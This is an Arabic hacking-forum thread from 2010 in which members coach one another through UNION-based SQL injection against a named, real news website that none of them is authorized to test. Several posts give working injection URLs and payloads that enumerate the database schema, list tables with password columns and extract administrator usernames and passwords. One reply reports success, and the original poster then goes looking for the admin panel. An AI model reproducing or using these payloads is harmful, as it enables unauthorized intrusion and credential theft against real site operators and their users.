مشكلتي الاولى في حقن SQL مشكلة Database error من فضلكم ادخلوا

مستر نوبا · 09-06-2010, 11:25 AM

السلام عليكم

انا حصلت موقع مصاب وحقنته بس اثناء الحقن واجهتني مشكله مادري وش هي يطلع لي Database error

ياليت تشوفونها لي هدفي مو اخترق الموقع واعلق الاندكس ابي بس اعرف حل هالمشكله

للمستقبل وللاختراقات القادمة ان شاء الله

الى هنا الحقنه شغاله

طبعا العمود المصاب تحصلونه جنب عنوان الموقع

كود:

http://www.alghadnews.com/show.php?id=-2059 UNION SELECT 1,2,3,concat(table_name,0x3a,column_name,0x3a,table_schema),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 +from+information_schema.columns+where+table_name=0x736974657573657273--

وهنا بعد مابغيت اطلع اليوزر والباس ظهرت المشكله Database error

كود:

http://www.alghadnews.com/show.php?id=-2059 UNION SELECT 1,2,3,ConCaT(id,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 +from+siteusers--

انتظركم

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC la;gjd hgh,gn td prk SQL la;gm Database error lk tqg;l h]og,h

عبد الله ر · 09-06-2010, 01:19 PM

اها اخي مشكلتك بسيطة جدا جدا
المشكلة انك وضعت بالحقنة

ConCaT(id,0x3a,pass)

اولا قلي كيف كنت حتجيب اليوزر بهالحقنة !
هذه الحقنة لا تظهر لك سوى الـ id فقط اذا حذفت الباس منها
ليش ؟
انتبه منيح على كلمة pass
انا استخرجت العواميد بهذه الحقنة وكان اسم عمود الباس هكذا
PASSWORD مش pass
الحقنة
http://www.alghadnews.com/show.php?i...115,%2037%29--

انتبه جيدا اخي فالمعلومات التي ستضعها بالحقنة تكون مأخوذة من الحقنة السابقة
طيب نتابع

انا تابعت بهذا الجدول ويبدو انه لا يحوي على شيء انظر
الحقنة
http://www.alghadnews.com/show.php?i...om+siteusers--

طيب شو رايك نعود للأول عند الحقنة
http://www.alghadnews.com/show.php?i...115,%2037%29--

ونضيف عليها group_ هكذا
الحقنة
http://www.alghadnews.com/show.php?i...115,%2037%29--

الان تظهر لنا جميع الجداول التي تحتوي على كلمة %pass% مشفرة
وهي

siteusers:PASSWORD:alghad_news
sms:password:alghad_news
testnewsletter:pass:alghad_news
users:password:alghad_news

نحنا جربنا على الاول طب الان منجرب على غيره لحد ما نوصل للمطلوب
نصيحة اخي عندما تكون باول مرحلة وهي للبحث عن الجداول التي تحوي كلمة باس مشفرة
ضع group في الحقنة
حتى لا تضيع وقت بحقن جدول غير مطلوب

ان شاء الله اكون قد وفقت في الشرح

Master vbspiders · 09-06-2010, 03:55 PM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الله ر


	اها اخي مشكلتك بسيطة جدا جدا المشكلة انك وضعت بالحقنة ConCaT(id,0x3a,pass) اولا قلي كيف كنت حتجيب اليوزر بهالحقنة ! هذه الحقنة لا تظهر لك سوى الـ id فقط اذا حذفت الباس منها ليش ؟ انتبه منيح على كلمة pass انا استخرجت العواميد بهذه الحقنة وكان اسم عمود الباس هكذا PASSWORD مش pass الحقنة http://www.alghadnews.com/show.php?i...115,%2037%29-- انتبه جيدا اخي فالمعلومات التي ستضعها بالحقنة تكون مأخوذة من الحقنة السابقة طيب نتابع انا تابعت بهذا الجدول ويبدو انه لا يحوي على شيء انظر الحقنة http://www.alghadnews.com/show.php?i...om+siteusers-- طيب شو رايك نعود للأول عند الحقنة http://www.alghadnews.com/show.php?i...115,%2037%29-- ونضيف عليها group_ هكذا الحقنة http://www.alghadnews.com/show.php?i...115,%2037%29-- الان تظهر لنا جميع الجداول التي تحتوي على كلمة %pass% مشفرة وهي siteusers:PASSWORD:alghad_news sms:password:alghad_news testnewsletter:pass:alghad_news users:password:alghad_news نحنا جربنا على الاول طب الان منجرب على غيره لحد ما نوصل للمطلوب نصيحة اخي عندما تكون باول مرحلة وهي للبحث عن الجداول التي تحوي كلمة باس مشفرة ضع group في الحقنة حتى لا تضيع وقت بحقن جدول غير مطلوب ان شاء الله اكون قد وفقت في الشرح

كفيت ووفيت
بارك الله فيك يا غالي
وبالتوفيق
تحياتي

عبد الله ر · 09-06-2010, 04:14 PM

تسلم يا غالي
هذا واجبنا

مستر نوبا · 09-08-2010, 06:37 AM

مشكووور

ماقصرت والله يجزاك خير على التوضيح الاكثر من رائع

MazMaz · 09-15-2010, 10:48 PM

شكرا عالشرح و ما قصرتو يا شباب

Tn-Sn!PeR · 09-15-2010, 11:34 PM

هاهو يا غالي إسم الأدمين و الباس

http://www.alghadnews.com/show.php?i...2+from+users--

إستعملنا في الحقنة أمر

كود PHP:

  UNION SELECT 1,2,3,group_concat(id,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+users

--

يعني مثل ما قال أخي عبد الله ر نعود إلى أول حقنة و نجد الآتي

siteusers:PASSWORD:alghad_news
sms:password:alghad_news
testnewsletter:pass:alghad_news
users:password:alghad_news

الملون بالأحمر هو الذي إستعملته

أرجو أن تكون قد إستوعبت و إن تستحق شيء فلا تتردد

يلّا سلام

مستر نوبا · 09-16-2010, 12:35 AM

تسلم والله

بس اللوحة ماحصلتها

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
مشكلتي في البوازون...بليز ادخلوا	Lyl paris	جـــ'ابات العناكــ'ب	7	07-18-2010 09:10 PM
[شرح] : حل مشكله Database error عند تركيب الماسي الخامس	xman2	قســم تطويــر المــــواقع	0	06-09-2009 11:50 AM
حل مشكلة error on page	support	قســم تطويــر المــــواقع	0	05-26-2009 06:23 PM
[شرح] : حل مشكلة error on page	support	قســم تطويــر المــــواقع	0	05-26-2009 04:41 PM
postbit_legacy تطوير الشتري + حل مشكلة Database Error السابقة للاعضاء المحذوفين	xman2	قســم تطويــر المــــواقع	0	04-14-2009 12:20 AM

مشكلتي الاولى في حقن SQL مشكلة Database error من فضلكم ادخلوا

جـــ'ابات العناكــ'ب

VBSPIDERS TEAM